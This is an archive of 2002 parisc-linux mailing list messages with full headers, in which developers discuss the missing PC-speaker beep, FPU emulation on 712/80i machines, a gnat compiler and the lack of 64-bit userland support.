BTW... Everybodys aware that the internal speaker is connected to the LASI Harmony chip, yeah?
(Theres no way to generate a beep in hardware, you'd need to make a driver that generated a PCM beep and sent it to the hardware)
At least AFAIK

--jbit



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Fri, 05 Apr 2002 10:48:37 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <004101c1dcb9$59b3ca60$02c1a8c0@james.co.uk>
References: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu>
 <20020405055415.C6C54482B@dsl2.external.hp.com> <3CADB0AD.1050307@yahoo.com>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621217 6048 80.91.229.3 (22 Nov 2014 01:53:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jbit <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 08:48:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D8DC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 08:48:39 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout45-01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU300IHHQKYAH@mtaout45-01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Fri, 05 Apr 2002 10:48:34 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14526

> BTW... Everybodys aware that the internal speaker is connected to the LASI
Harmony chip, yeah?
> (Theres no way to generate a beep in hardware, you'd need to make a driver
that generated a PCM beep and sent it to the hardware)
> At least AFAIK
>
that explains the missing beep, then

wonder if it would make sense to put the necessary code for a beep into the
kernel.....


James S






From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Fri, 05 Apr 2002 09:12:00 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <E16tWJk-0003VF-00@noam.fc.hp.com>
References: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu>  <20020405055415.C6C54482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621217 6052 80.91.229.3 (22 Nov 2014 01:53:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:37 +0000 (UTC)
Cc: Phil Anderson <andersop@neverland.ncssm.edu>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 09:12:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 624E7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 09:12:13 -0700 (MST)
Original-Received: from ldl.fc.hp.com (linux-bugs.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 501A9A0036F; Fri,  5 Apr 2002 11:12:09 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 67C4A40BE; Fri,  5 Apr 2002 09:12:00 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.35 #1 (Debian))
	id 16tWJk-0003VF-00; Fri, 05 Apr 2002 09:12:00 -0700
In-Reply-To: Your message of "Thu, 04 Apr 2002 22:54:15 MST."
             <20020405055415.C6C54482B@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14527

> 712/80i was one of the few systems that was sold w/o Floating Pointing
> coprocessor (or FP was disabled) at a lower price point. I believe
> parisc-linux kernel ignores the lies that PDC presents about the FP
> not being present. But I'm wondering if something is really
> disabled on the chip that causes FP to just not work.  I don't know
> if our FP emulation will deal with a completely missing FP Unit.

The 80i FPU is disabled in hardware.  I once saw the restoration
procedure and gagged.

palinux has nearly all, but not 100% of the FPU emulation code.  I
don't recall why I omitted a couple of things -- probably due to
structural issues fitting them into our kernel.  We had also made
a decision not to support FPU-less boxes.

> If this really the case, I should be able find you a real 712/80
> to play with. But you need to figure out what is causing the
> illegal instruction first.

If Grant can't find one, I'm pretty sure we have a 712/80 CPU board
around somewhere.

	-P



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gnat compiler for parisc?
Date: Fri, 5 Apr 2002 18:24:30 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <15533.53182.111951.692740@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621217 6058 80.91.229.3 (22 Nov 2014 01:53:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 09:26:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id E51EA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 09:26:46 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id SAA00900
	for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Apr 2002 18:24:30 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g35GOUl07721;
	Fri, 5 Apr 2002 18:24:30 +0200 (MEST)
X-Mailer: VM 7.03 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14528

Did anybody already built a gnat binary for parisc?

	Matthias



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep...
Date: Fri, 5 Apr 2002 08:37:24 -0800 (PST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204050834290.1836-100000@garibaldi.apptechsys.com>
References: <E16tWJk-0003VF-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621217 6066 80.91.229.3 (22 Nov 2014 01:53:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 09:37:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FE72482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 09:37:31 -0700 (MST)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 8B00A7BC4C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 08:37:24 -0800 (PST)
In-Reply-To: <E16tWJk-0003VF-00@noam.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14529

I don't know about your boxes, but my J5k had the most obnoxious beep I 
have ever experienced (short of a raid controller).  I was pleasently 
surprised when this box didn't beep.  So, if you do add something to the 
kernel for beeping, make sure it can be easily disabled (eg procfs).

-- 
"His eyes were cold.  As cold as the bitter winter snow that was falling
outside.  Yes, cold and therefore difficult to chew..."




From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 18:11:28 +0100 (IST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204051807500.29150-100000@sal.ucc.ie>
References: <20020405154429.F27682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621218 6071 80.91.229.3 (22 Nov 2014 01:53:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:38 +0000 (UTC)
Cc: Jesus Climent <climent@stybba.ntc.nokia.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 10:11:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 767ED482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 10:11:42 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id SAA17994;
	Fri, 5 Apr 2002 18:12:53 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020405154429.F27682@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14530

On Fri, 5 Apr 2002, Matthew Wilcox wrote:

> nobody's made gcc support both 32 and 64 bit targets yet on hppa.  for now,
> install the obvious debs from http://ftp.parisc-linux.org/unofficial-debs/

Aahh, i.c.

I saw them before, but they seemed to be a little bit outdated
(29 Jun 2001).

What are the issues why no 64bit userland is supported yet ?
(Besides too many bugs in the compiler ?) Is this difficult to archive?


greetings max




From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 18:16:59 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020405181659.A8028@parcelfarce.linux.theplanet.co.uk>
References: <20020405154429.F27682@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0204051807500.29150-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621218 6072 80.91.229.3 (22 Nov 2014 01:53:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:38 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Jesus Climent <climent@stybba.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 10:17:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6617E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 10:17:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16tXKd-0003JZ-00; Fri, 05 Apr 2002 18:16:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0204051807500.29150-100000@sal.ucc.ie>; from xam@cs.ucc.ie on Fri, Apr 05, 2002 at 06:11:28PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14531

On Fri, Apr 05, 2002 at 06:11:28PM +0100, M. Grabert wrote:
> What are the issues why no 64bit userland is supported yet ?
> (Besides too many bugs in the compiler ?) Is this difficult to archive?

Nobody's bothered to do the work yet.  are you vounteering?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 12:31:57 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200204051731.g35HVwSq014375@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0204051807500.29150-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621218 6073 80.91.229.3 (22 Nov 2014 01:53:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:38 +0000 (UTC)
Cc: willy@debian.org, climent@stybba.ntc.nokia.com,
	parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 10:32:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60D1C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 10:32:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g35HVwFN014376;
	Fri, 5 Apr 2002 12:31:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g35HVwSq014375;
	Fri, 5 Apr 2002 12:31:58 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0204051807500.29150-100000@sal.ucc.ie> from "M. Grabert" at Apr 5, 2002 06:11:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14532

> What are the issues why no 64bit userland is supported yet ?
> (Besides too many bugs in the compiler ?) Is this difficult to archive?

Too many bugs in the compiler?  The 64-bit testsuite results under
hpux aren't that bad:-)  I posted new results yesterday:
<http://gcc.gnu.org/ml/gcc-testresults/2002-04/msg00160.html>.  Still
lots of work to do but I don't think there are any show stoppers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 05 Apr 2002 10:52:12 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020405175212.22A89381FC@carmen.fc.hp.com>
References: <200204051731.g35HVwSq014375@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621219 6074 80.91.229.3 (22 Nov 2014 01:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:39 +0000 (UTC)
Cc: xam@cs.ucc.ie (M. Grabert), willy@debian.org,
	climent@stybba.ntc.nokia.com, parisc-linux@lists.parisc-linux.org,
	taggart@carmen.fc.hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 10:52:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 209DE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 10:52:13 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 66E34A0085F; Fri,  5 Apr 2002 12:52:12 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 22A89381FC; Fri,  5 Apr 2002 10:52:12 -0700 (MST)
In-Reply-To: Your message of "Fri, 05 Apr 2002 12:31:57 EST."
             <200204051731.g35HVwSq014375@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14533

"John David Anglin" writes...

> > What are the issues why no 64bit userland is supported yet ?
> > (Besides too many bugs in the compiler ?) Is this difficult to archive?
> 
> Too many bugs in the compiler?  The 64-bit testsuite results under
> hpux aren't that bad:-)  I posted new results yesterday:
> <http://gcc.gnu.org/ml/gcc-testresults/2002-04/msg00160.html>.  Still
> lots of work to do but I don't think there are any show stoppers.

It's worth pointing out that the majority of the work probably lies in the
porting of glibc and not the compiler. Although I'm sure there a still some
fun bugs left in the compiler too :)

Anybody considering the port should probably express their intent to do so
on this mailing list so they can get as much help/documentation/support as
possible.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit newbie question
Date: Fri, 5 Apr 2002 19:09:28 +0100 (IST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204051825000.29150-100000@sal.ucc.ie>
References: <20020405181659.A8028@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621219 6078 80.91.229.3 (22 Nov 2014 01:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:39 +0000 (UTC)
Cc: Jesus Climent <climent@stybba.ntc.nokia.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 11:09:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9799D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 11:09:35 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id TAA18704;
	Fri, 5 Apr 2002 19:10:53 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020405181659.A8028@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14534

On Fri, 5 Apr 2002, Matthew Wilcox wrote:

> > What are the issues why no 64bit userland is supported yet ?
> > (Besides too many bugs in the compiler ?) Is this difficult to archive?
>
> Nobody's bothered to do the work yet.  are you vounteering?

If I would have

- any knowledge about pa-risc (well, I could learn that)
- any knowledge about to crawl through the gcc jungle
- I would have a real 64bit machine and the need to run 64bit apps
  or at least if I'd have enough the ambition to do it (well,
  there's a little ambition, but not enough yet :)
- any have enough time for that (I'm currently doing my PhD thesis)
          (^^^^^^^^^^^ most important point)

well, then yes.



But unfortunately in the next 4 years I'm quite busy with what
I'm doing right know (even wasting my spare time with my work).

I'd love to learn pa-risc and how gcc works, but this will probably
be a task that I will do whenever I have spare spare time.
